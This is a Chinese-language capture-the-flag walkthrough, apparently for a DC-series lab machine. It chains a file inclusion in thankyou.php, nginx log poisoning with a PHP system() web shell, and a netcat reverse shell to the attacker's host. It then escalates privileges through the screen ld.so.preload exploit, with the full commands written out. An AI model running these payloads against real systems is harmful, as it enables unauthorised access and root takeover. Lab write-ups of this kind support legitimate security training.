环境下载
环境配置
信息探测
PS:此关和前面DC4一样,都是只有一个FLAG并且是通过提权的方式来获取FLAG
发现80端口开启,我们进入看一下
获取flag
发现是一个简单页面,但是到如下页面
我们每次提交时,下面数字都会发现改变,我们猜测并不是一个静态数据,存在文件包含,我们测试一下
http://192.168.100.14/thankyou.php?file=/etc/passwd
果然存在数据,但是这个站点不存在文件上传功能,所以尝试包含日志文件写shell
http://192.168.100.14/thankyou.php?file=/var/log/nginx/access.log
访问 <?php system($_GET['cmd']) ;>,写入日志记录文件
查看错误日志,看看是否成功
并未发现报语法错误,
接下来我们使用kali监听4444端口,并反弹shell
<?php system($_GET['cmd']);?>
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.100.3 4444
成功监听并反弹成功
接下来我们使用Python得到一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看该用户有什么root权限命令,我们发现了一个screen的东西
find / -perm -u=s -type f 2>/dev/null
那接下来我们就在kali使用searchsploit 搜索 screen
我们发现了两个exp, 我们在kali本地编译得到 libhax.so 和 rootshell
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
已经存在了两个文件,接下来我们将其上传至靶机 tmp目录
scp root@10.10.10.10:/home/xx /home/xx
上传完成,接下来就到了最后的提取操作了
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell
获取FLAG,结束!